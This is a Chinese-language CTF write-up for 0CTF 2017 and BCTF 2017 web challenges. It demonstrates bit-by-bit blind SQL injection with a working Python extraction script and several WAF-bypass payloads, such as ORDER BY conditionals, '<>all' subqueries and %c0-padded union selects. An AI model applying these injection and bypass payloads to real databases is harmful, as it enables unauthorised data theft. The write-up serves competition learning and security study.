SQL 盲注逐位获取数据

在某些 SQL 盲注情况下,不能用常见的二分法爆库。这里是一种按 bit 爆破每一个字符的方法。我在 0CTF 2017 想到了这种方法,然后在 BCTF 2017 找到 Payload 之后改了代码就解出了题目。当然,这种思路毕竟还是 too simple,早已经有人想到了这种方法。

0CTF 2017 Web Temmo's Tiny Shop

以下内容摘自我的旧博客,略有删改

洒家参加了 0CTF 2017,做了一些题目。赛后过了好几天,看网上已经有了一些写得不错的 Writeup,这里就写一写洒家的一些不一样的思路。

一些不错的 Writeup:

这道题有一个商店,可以购买商品,其中查询已购买商品的 http://202.120.7.197/app.php 存在 order by 盲注。

洒家看网上的 Writeup 在拿到 Hint,知道 flag 的表名后爆破 flag 的每一字节,效率可能比较低。这里是洒家比赛的时候想到的按 bit 爆破的方法,对于 ASCII,只考虑 7 bit,每字节固定需要 7 次请求即可得到。

需要购买 Erwin Schrodinger's CatBrownie

一开始的 Payload 是:

case(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1))div(16)mod(2))when(1)then(name)else(price)end

由于长度限制(WAF,最长 100 字节),修改 Payload:

if(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1))div(16)mod(2),name,price)

由于长度还是太长,把 Price 改成 3 也可以排序。

if(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1))div(16)mod(2),name,3)

注:此处的 3 并不是按第 3 列排序,即和 order by 3 作用不同,而是和 order by '3' 作用相同,和不加 order by 效果相同(不知道是 MySQL 什么特性)

2017 年 5 月 13 日更新:刚才试了一下,上面这个 if(xxx, name, 3) 不好用了。看到 div(16)mod(2) 这种写法太长太傻 X,想到 & 没有被过滤,因此可以改成与运算改成更短的玩法:

if(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1))&16,name,price)

由此,最终的脚本是:

import requests

# code from https://phuker.github.io/
s = requests.Session()
cookie = {'PHPSESSID':'YOURCOOKIE'} # add your cookie
url = 'http://202.120.7.197/app.php'

true_str = '"goods":[{"id":"5"'
false_str = '"goods":[{"id":"2"'
order_by_template = 'if(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),%d,1))&%d,name,price)'

flag = ''
for place_index in xrange(1, 1000):
    place_bin = ''
    for times in xrange(6,-1,-1):
        num = 2 ** times
        order_by = order_by_template % (place_index, num)
        params = {'action':'search','keyword':'','order':order_by}
        r = s.get(url, params=params, cookies=cookie)
        #print r.content
        if true_str in r.content:
            new_place_bin = '1'
        else:
            new_place_bin = '0'
        print new_place_bin,
        place_bin += new_place_bin

    place = chr(int(place_bin, 2))
    flag += place
    print flag


    if '}' in flag:
        break

print '\n***** get flag *****'
print flag

运行效果:

1 1 0 0 1 1 0 f
1 1 0 1 1 0 0 fl
1 1 0 0 0 0 1 fla
1 1 0 0 1 1 1 flag
1 1 1 1 0 1 1 flag{
1 1 1 0 0 1 0 flag{r
(省略)
1 1 0 0 1 0 1 flag{r4ce_c0nditi0n_i5_excite
1 1 0 0 1 0 0 flag{r4ce_c0nditi0n_i5_excited
1 1 1 1 1 0 1 flag{r4ce_c0nditi0n_i5_excited}

***** get flag *****
flag{r4ce_c0nditi0n_i5_excited}

BCTF 2017 Alice and Bob

这道题就是个纯 SQL 注入,输入名字(user 表只有 Alice 和 Bob 两项),然后查询这个 user 的说明(desc 字段)。随便输入一个单引号就有 MySQL 报错。简单测试了一下有 WAF,WAF 的逻辑不是以前的 CTF 那种白名单、黑名单,而是非常复杂的逻辑(后来才知道是某商业产品)。最好的绕过 WAF 的方法是让 WAF 失效,但是洒家并没有找到这种方法,首先记录一下正面解决这个问题的心路历程。

以下是“刚正面”的过程:

首先根据报错,等信息,数据库名是 bctf,SQL 查询的表名是 user,字段名是 id name desc。另一个表叫 flag,字段:id flag。猜测 SQL 应该类似:

SELECT desc FROM user WHERE name='用户输入'

发现:

输入 现象分析
name=alice'=0# 没有过滤
name=alice'=0%26name='bob'=0# 没有过滤
name=alice'=0+and+name='bob'=0# 过滤
name=sleep(9) 过滤
name=sleep(6-4) 没有过滤。说明 WAF 对 sleep(纯数字) 的过滤可能可以绕过
name='>sleep(6-4)# 成功 sleep
name=a'=0#
name=a'=sleep(5-4)#
输出 Alice
name='or id='2 队友发现的这条。id 只能是 1 和 2,说明这个表可能只有两条数据,flag 在别的表里面。
name='or flag='0 报错 {"desc": "Unknown column 'flag' in 'where clause'"}。用这种方法确定字段,以及没有 flag 字段
name='or user.id='0 没有报错。表名是 user。注意不能用来测试 flag.flag
name='or user.`desc`='Alice is a good girl. 输出 Alice 的 desc
name='or (select 1 from flag) or '1 试了很多,这种 subquery 直接都被干掉了
name='not in (select flag from flag)# 意外发现没有过滤,in 操作符有奇效。然后可以猜出来 flag 表,flag 字段。
name='in (select substr(flag,1,1) from flag)# 被屏蔽。substr() 很敏感
name='=all (select substr(flag,1,1) from flag)# 意外发现换成 =ALL 有奇效
name=Alice'<>all (select ord(substr(flag,1,1)) div(16) mod(2) from flag)# 被过滤
name=Alice'in (select ord(substr(flag,1,1)) div 16 mod 2 from flag)# 被过滤
name=Alice'<>all (select ord(substr(flag,1,1)) div 16 mod 2 from flag)# 辗转测试了一堆这种组合,这个没有被过滤。
name=Alice' =all (select ord(substr(flag,1,1)) div 16 mod 2 from flag)# 没有过滤

name=Alice' =all (select ord(substr(flag,1,1)) div 16 mod 2 from flag)# 为例。SQL 注入之后整个 SQL 的逻辑是:假如某一条数据 name'Alice'name='Alice' 的值是 1, 然后和后面的子查询比较,如果子查询的 bit 是 1,这条数据就会被输出。同理,对 flag 的每一字节的每一位操作即可得到 flag。脚本和上面的 0CTF 的基本一样。

输出:

1 0 0 0 0 1 1 'C'
1 1 0 1 1 1 1 'Co'
(省略)
0 1 1 0 1 0 0 'Cool, give you an interesting string: bctf{0ad99685303ed109abed3a80269563c4'
1 1 1 1 1 0 1 'Cool, give you an interesting string: bctf{0ad99685303ed109abed3a80269563c4}'

***** get flag *****
Cool, give you an interesting string: bctf{0ad99685303ed109abed3a80269563c4}

谜之让 WAF 失效的方法

根据 Bendawang 的这篇 write up:

name=%c0%c0%c0' union select flag from flag #
响应:
{"desc": "Cool, give you an interesting string: bctf{0ad99685303ed109abed3a80269563c4}"}

毁三观。

测试了一下,在上面的 payload 里面,ASCII >= 128 的字符重复 3 次或者 >=8 次即可输出 flag。

Nu1L 战队的 Payload

https://www.anquanke.com/post/id/85920

基于语义的 waf,
引入能够打乱语义判断的就可以触发到了
mysql 有 mod 的比较符和函数
想着通过引入两个去打乱语义
payload:  'mod mod(1,1) union select flag from flag#

看完之后深受启发,结合上文发现的 <> all 的效果推测可能也是扰乱了 WAF。于是发现了新的 Payload:

name='<>all(select 0) union select flag from flag#

上面两种都是直接显示 flag。

如何搞出这种稀奇古怪的 Payload

看文档

本地搭环境

模拟题目环境,测试自己的 Payload 的正确性。不能想当然。

另外如果题目的操作比较复杂,建议花几分钟先写一个帮助输入、输出的脚本,并把所有的输入和输出记录到文件便于对比。

学习他人人生的经验

Beyond SQLi: Obfuscate and Bypass

可以研究一下 SQLmap 的各种 Payload 的含义。搞个网页记录 Payload 然后扫描。

洒家并不太擅长 SQL 注入,以上只是学习过程中的一点见解。


Advertisements

Comments

License

Creative Commons License

本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).